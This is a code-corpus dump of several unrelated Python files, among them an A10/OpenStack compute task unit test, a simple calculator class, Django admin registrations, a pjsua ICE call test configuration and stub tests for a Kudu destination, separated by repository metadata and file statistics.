amp_license_network=a10constants.MOCK_NETWORK_ID) compute_task = task.ComputeCreate() compute_task.compute = mock.MagicMock() compute_task.execute(AMPHORA.id) args, kwargs = compute_task.compute.build.call_args actual_net_ids = kwargs.get('network_ids') self.assertIn(a10constants.MOCK_NETWORK_ID, actual_net_ids) self.assertEqual(len(actual_net_ids), len(boot_list)) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_net_list_no_diff(self, mock_driver): mgmt_id = 'mock-mgmt-net-id' license_id = 'mock-mock-license-net-id' boot_list = ['mock-data-net-id-1'] net_list = [mgmt_id, boot_list[0], LB.vip.network_id, license_id] self.conf.config(group=a10constants.A10_CONTROLLER_WORKER_CONF_SECTION, amp_mgmt_network=mgmt_id, amp_boot_network_list=boot_list) self.conf.config(group=a10constants.GLM_LICENSE_CONFIG_SECTION, amp_license_network=license_id) compute_task = task.ComputeCreate() compute_task.compute = mock.MagicMock() compute_task.execute(AMPHORA.id, loadbalancer=LB, network_list=net_list) args, kwargs = compute_task.compute.build.call_args actual_net_ids = kwargs.get('network_ids') self.assertEqual(actual_net_ids[0], mgmt_id) self.assertEqual(set(actual_net_ids), set(net_list)) self.assertEqual(len(actual_net_ids), len(net_list)) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_net_list_with_diff(self, mock_driver): mgmt_id = 'mock-mgmt-net-id' license_id = 'mock-mock-license-net-id' boot_list = ['mock-data-net-id-1', 'mock-data-net-id-2'] net_list = [mgmt_id, boot_list[0], license_id] self.conf.config(group=a10constants.A10_CONTROLLER_WORKER_CONF_SECTION, amp_mgmt_network=mgmt_id, amp_boot_network_list=boot_list) self.conf.config(group=a10constants.GLM_LICENSE_CONFIG_SECTION, amp_license_network=license_id) compute_task = task.ComputeCreate() compute_task.compute = mock.MagicMock() compute_task.execute(AMPHORA.id, loadbalancer=LB, network_list=net_list) args, kwargs = compute_task.compute.build.call_args actual_net_ids = kwargs.get('network_ids') expected_net_ids = {mgmt_id, license_id, LB.vip.network_id}.union(boot_list) self.assertEqual(actual_net_ids[0], mgmt_id) self.assertNotEqual(set(actual_net_ids), set(net_list)) self.assertNotEqual(len(actual_net_ids), len(net_list)) self.assertEqual(set(actual_net_ids), expected_net_ids) self.assertEqual(len(actual_net_ids), len(expected_net_ids)) @mock.patch('stevedore.driver.DriverManager.driver') def test_CheckAmphoraStatus_execute_status_active(self, mock_driver): vthunder = copy.deepcopy(VTHUNDER) _amphora_mock = mock.MagicMock() _amphora_mock.status = o_constants.ACTIVE mock_driver.get_amphora.return_value = _amphora_mock, None computestatus = task.CheckAmphoraStatus() status = computestatus.execute(vthunder) self.assertEqual(status, True) @mock.patch('stevedore.driver.DriverManager.driver') def test_CheckAmphoraStatus_status_execute_shutoff(self, mock_driver): vthunder = copy.deepcopy(VTHUNDER) _amphora_mock = mock.MagicMock() _amphora_mock.status = "SHUTOFF" mock_driver.get_amphora.return_value = _amphora_mock, None computestatus = task.CheckAmphoraStatus() status = computestatus.execute(vthunder) self.assertEqual(status, False)

47.165254

90

0.715749

1,397

11,131

5.400859

0.120974

0.064148

0.052485

0.045726

0.761166

0.719682

0.709476

0.69609

0.688403

0.656991

0

0.014581

0.192885

11,131

235

91

47.365957

0.825245

0.051927

0

0.582888

0

0.082954

0.057232

0

0.112299

1

0.080214

false

0

0.080214

0

0.165775

0

null

0

1

0

1

0

null

0

3

d7509c4cd50a2e3c40de876c849306de353c8796

1,617

py

Python

tb/sources/review_list.py

DronMDF/manabot

b412e8cb9b5247f05487bed4cbf4967f7b58327f

[ "MIT" ]

1

2017-11-29T11:51:12.000Z

tb/sources/review_list.py

DronMDF/manabot

b412e8cb9b5247f05487bed4cbf4967f7b58327f

[ "MIT" ]

109

2017-11-28T20:51:59.000Z

2018-02-02T13:15:29.000Z

tb/sources/review_list.py

DronMDF/manabot

b412e8cb9b5247f05487bed4cbf4967f7b58327f

[ "MIT" ]

null

from .review import Review, UpdateableReview class ReviewUnderControl: def __init__(self, db): self.db = db def __iter__(self): return (Review(r) for r in self.db.all()) class ReviewIds: def __init__(self, reviews): self.reviews = reviews def __iter__(self): return (i['id'] for i in self.reviews) class ReviewVerified: def __init__(self, reviews): self.reviews = reviews def __iter__(self): return (r for r in self.reviews if r['verify']) class ReviewIgnored: def __init__(self, reviews): self.reviews = reviews def __iter__(self): return (r for r in self.reviews if r['status'] == 'ignore') class ReviewOne: def __init__(self, reviews): self.reviews = reviews def __iter__(self): return iter([next(iter(self.reviews))]) class ReviewIsNeed: def __init__(self, current, reviews): self.current = current self.reviews = reviews def __iter__(self): # Если в current что-то есть - новые не нужны return iter([] if list(self.current) else self.reviews) class ReviewDifference: def __init__(self, reviews, others): self.reviews = reviews self.others = others def __iter__(self): others_id = {r['id'] for r in self.others} return (r for r in self.reviews if r['id'] not in others_id) class ReviewForUpdate: def __init__(self, extern, exists): self.extern = extern self.exists = exists def updateable(self): exists_id = {r['id']: r for r in self.exists} return ( UpdateableReview(exists_id[r['id']], r) for r in self.extern if r['id'] in exists_id ) def __iter__(self): return (r for r in self.updateable() if r.needUpdate())

20.468354

62

0.698207

239

1,617

4.435146

0.200837

0.176415

0.083019

0.075472

0.370755

0.360377

0.333019

0.239623

0

0.1812

1,617

78

63

20.730769

0.800604

0.026592

0

0.346154

0

0.019084

0

1

0.326923

false

0

0.019231

0.134615

0.673077

0

null

0

null

0

1

0

1

0

3

d76ffeea7a15f6cc88a78023f7f989729b0cc99f

590

py

Python

finance/admin.py

webclinic017/invertimo

125995b2f04a0b8cf3fe98df38f2a4f15cf8399b

[ "MIT" ]

null

finance/admin.py

webclinic017/invertimo

125995b2f04a0b8cf3fe98df38f2a4f15cf8399b

[ "MIT" ]

null

finance/admin.py

webclinic017/invertimo

125995b2f04a0b8cf3fe98df38f2a4f15cf8399b

[ "MIT" ]

null

from django.contrib import admin from .models import ( Account, AccountEvent, Exchange, ExchangeIdentifier, Position, Asset, Transaction, TransactionImport, TransactionImportRecord, EventImportRecord, ) admin.site.register(Account) admin.site.register(AccountEvent) admin.site.register(Exchange) admin.site.register(ExchangeIdentifier) admin.site.register(Position) admin.site.register(Asset) admin.site.register(Transaction) admin.site.register(TransactionImport) admin.site.register(TransactionImportRecord) admin.site.register(EventImportRecord)

23.6

44

0.789831

58

590

8.034483

0.310345

0.193133

0.364807

0

0.118644

590

25

45

23.6

0.896154

0

1

0

true

0

0.347826

0

0.347826

0

null

0

1

0

null

0

1

0

1

0

3

d77337fd84c4c07ea01cd56645d3106d6df8a173

995

py

Python

Calculator/calculator.py

harshalupadhye/statistic

33d9fa183e6268f97c2394d8134f1e3fc2efc2c0

[ "MIT" ]

null

Calculator/calculator.py

harshalupadhye/statistic

33d9fa183e6268f97c2394d8134f1e3fc2efc2c0

[ "MIT" ]

null

Calculator/calculator.py

harshalupadhye/statistic

33d9fa183e6268f97c2394d8134f1e3fc2efc2c0

[ "MIT" ]

1

2019-11-17T04:15:50.000Z

from Calculator.addition import addition from Calculator.subtraction import subtraction from Calculator.multiplication import multiplication from Calculator.division import division from Calculator.square import square from Calculator.squareroot import squareroot class Calculator: result = 0 def __init__(self): pass def add(self, a, b): self.result = addition(a, b) return self.result def subtract(self, a, b): self.result = subtraction(a, b) return self.result def multiply(self, a, b): self.result = multiplication(a, b) return self.result def divide(self, a, b): self.result = division(a, b) return round(float(self.result), 7) def squaring(self, a): self.result = square(a) return self.result def square_rt(self, a): self.result = squareroot(a) return round(float(self.result), 7) def variance_sample_proportion(self, my_pop): pass

24.875

52

0.660302

127

995

5.110236

0.259843

0.1849

0.03698

0.061633

0.288136

0.189522

0.09245

0

0.004032

0.252261

995

40

53

24.875

0.86828

0

0.266667

0

1

0.266667

false

0.066667

0.2

0

0.733333

0

null

0

null

0

1

0

1

0

1

0

3

d773f97269fd60411607bf463a80a62ce933da50

459

py

Python

platform_disk_api/utils.py

neuro-inc/platform-disk-api

ccba10ac99032a59d456b559a2f1d22e5787c52b

[ "Apache-2.0" ]

null

platform_disk_api/utils.py

neuro-inc/platform-disk-api

ccba10ac99032a59d456b559a2f1d22e5787c52b

[ "Apache-2.0" ]

6

2022-01-17T03:11:20.000Z

2022-03-25T03:17:47.000Z

platform_disk_api/utils.py

neuro-inc/platform-disk-api

ccba10ac99032a59d456b559a2f1d22e5787c52b

[ "Apache-2.0" ]

null

from datetime import datetime, timedelta, timezone def utc_now() -> datetime: return datetime.now(timezone.utc) def datetime_dump(dt: datetime) -> str: return str(dt.timestamp()) def datetime_load(raw: str) -> datetime: return datetime.fromtimestamp(float(raw), timezone.utc) def timedelta_dump(td: timedelta) -> str: return str(td.total_seconds()) def timedelta_load(raw: str) -> timedelta: return timedelta(seconds=float(raw))

20.863636

59

0.721133

60

459

5.416667

0.333333

0.086154

0.135385

0

0.154684

459

21

60

21.857143

0.837629

0

1

0.454545

false

0

0.090909

0.454545

1

0

null

0

null

0

1

0

1

0

3

d784141a178bcf68f4981b370e10b1ab73e229b3

67

py

Python

python/testData/codeInsight/mlcompletion/sameColumnKeywords1.py

tgodzik/intellij-community

f5ef4191fc30b69db945633951fb160c1cfb7b6f

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/codeInsight/mlcompletion/sameColumnKeywords1.py

tgodzik/intellij-community

f5ef4191fc30b69db945633951fb160c1cfb7b6f

[ "Apache-2.0" ]

2

2022-02-19T09:45:05.000Z

2022-02-27T20:32:55.000Z

python/testData/codeInsight/mlcompletion/sameColumnKeywords1.py

tgodzik/intellij-community

f5ef4191fc30b69db945633951fb160c1cfb7b6f

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

a, b = 2, 3 if a > b: print(a) elif a * 2 > b: print(b) <caret>

11.166667

15

0.477612

16

67

2

0.5

0.125

0

0.065217

0.313433

67

6

16

11.166667

0.630435

0

null

0

null

0.333333

1

0

null

0

1

0

null

0

1

0

3

d78992c8ec504fe49a791b1a16ea4fc7df9cbd5d

1,058

py

Python

pjsip/tests/pjsua/scripts-call/301_ice_public_b.py

tomorrow-rain/pjsip

776e032c4ee2672cd42b8c665021b1310181d126

[ "MIT" ]

null

pjsip/tests/pjsua/scripts-call/301_ice_public_b.py

tomorrow-rain/pjsip

776e032c4ee2672cd42b8c665021b1310181d126

[ "MIT" ]

null

pjsip/tests/pjsua/scripts-call/301_ice_public_b.py

tomorrow-rain/pjsip

776e032c4ee2672cd42b8c665021b1310181d126

[ "MIT" ]

null

# $Id$ # from inc_cfg import * # This test: # to make call with ICE but without STUN. # Note: # - need --dis-codec to make INVITE packet less than typical MTU uas_args = "--null-audio --id=\"<sip:test1@pjsip.org>\" --registrar=sip:sip.pjsip.org --username=test1 --password=test1 --realm=pjsip.org --proxy=\"sip:sip.pjsip.org;lr\" --rtp-port 0 --use-ice --use-compact-form --max-calls 1 --dis-codec=i --dis-codec=s --dis-codec=g --log-file callee.log" uac_args = "--null-audio --id=\"<sip:test2@pjsip.org>\" --registrar=sip:sip.pjsip.org --username=test2 --password=test2 --realm=pjsip.org --proxy=\"sip:sip.pjsip.org;lr\" --rtp-port 0 --use-ice --use-compact-form --max-calls 1 --dis-codec=i --dis-codec=s --dis-codec=g --log-file caller.log" test_param = TestParam( "ICE via public internet with no STUN", [ InstanceParam( "callee", uas_args, uri="<sip:test1@pjsip.org>", have_reg=True, have_publish=False), InstanceParam( "caller", uac_args, uri="<sip:test2@pjsip.org>", have_reg=True, have_publish=False), ] )

40.692308

294

0.666352

169

1,058

4.112426

0.414201

0.115108

0.063309

0.080576

0.566906

0.515108

0.302158

0

0.013115

0.135161

1,058

25

295

42.32

0.746448

0.119093

0

0.142857

0

0.285714

0.600649

0.108225

0

1

0

false

0.142857

0.071429

0

0.071429

0

null

0

1

0

null

0

1

0

3

ad2b7d7e1f92e87ee35dd4bcf57b7d783c28c486

2,674

py

Python

stage/configuration/test_kudu_destination.py

Sentienz/datacollector-tests

ca27988351dc3366488098b5db6c85a8be2f7b85

[ "Apache-2.0" ]

null

stage/configuration/test_kudu_destination.py

Sentienz/datacollector-tests

ca27988351dc3366488098b5db6c85a8be2f7b85

[ "Apache-2.0" ]

1

2019-04-24T11:06:38.000Z

stage/configuration/test_kudu_destination.py

anubandhan/datacollector-tests

301c024c66d68353735256b262b681dd05ba16cc

[ "Apache-2.0" ]

2

2019-05-24T06:34:37.000Z

2020-03-30T11:48:18.000Z

import pytest from streamsets.testframework.decorators import stub @stub def test_admin_operation_timeout_in_milliseconds(sdc_builder, sdc_executor): pass @stub @pytest.mark.parametrize('stage_attributes', [{'change_log_format': 'MSSQL'}, {'change_log_format': 'MongoDBOpLog'}, {'change_log_format': 'MySQLBinLog'}, {'change_log_format': 'NONE'}, {'change_log_format': 'OracleCDC'}]) def test_change_log_format(sdc_builder, sdc_executor, stage_attributes): pass @stub @pytest.mark.parametrize('stage_attributes', [{'default_operation': 'DELETE'}, {'default_operation': 'INSERT'}, {'default_operation': 'UPDATE'}, {'default_operation': 'UPSERT'}]) def test_default_operation(sdc_builder, sdc_executor, stage_attributes): pass @stub @pytest.mark.parametrize('stage_attributes', [{'external_consistency': 'CLIENT_PROPAGATED'}, {'external_consistency': 'COMMIT_WAIT'}]) def test_external_consistency(sdc_builder, sdc_executor, stage_attributes): pass @stub def test_field_to_column_mapping(sdc_builder, sdc_executor): pass @stub def test_kudu_masters(sdc_builder, sdc_executor): pass @stub def test_maximum_number_of_worker_threads(sdc_builder, sdc_executor): pass @stub def test_mutation_buffer_space_in_records(sdc_builder, sdc_executor): pass @stub @pytest.mark.parametrize('stage_attributes', [{'on_record_error': 'DISCARD'}, {'on_record_error': 'STOP_PIPELINE'}, {'on_record_error': 'TO_ERROR'}]) def test_on_record_error(sdc_builder, sdc_executor, stage_attributes): pass @stub def test_operation_timeout_in_milliseconds(sdc_builder, sdc_executor): pass @stub def test_preconditions(sdc_builder, sdc_executor): pass @stub def test_required_fields(sdc_builder, sdc_executor): pass @stub def test_table_name(sdc_builder, sdc_executor): pass @stub @pytest.mark.parametrize('stage_attributes', [{'unsupported_operation_handling': 'DISCARD'}, {'unsupported_operation_handling': 'SEND_TO_ERROR'}, {'unsupported_operation_handling': 'USE_DEFAULT'}]) def test_unsupported_operation_handling(sdc_builder, sdc_executor, stage_attributes): pass

29.065217

98

0.620045

267

2,674

5.775281

0.265918

0.063554

0.118029

0.190661

0.501297

0.475357

0.354086

0

0.28347

2,674

91

99

29.384615

0.804802

0

0.459016

0

0.209502

0.03367

0

1

0.229508

false

0.229508

0.032787

0

0.262295

0

null

0

1

0

null

0

1

0

1

0

3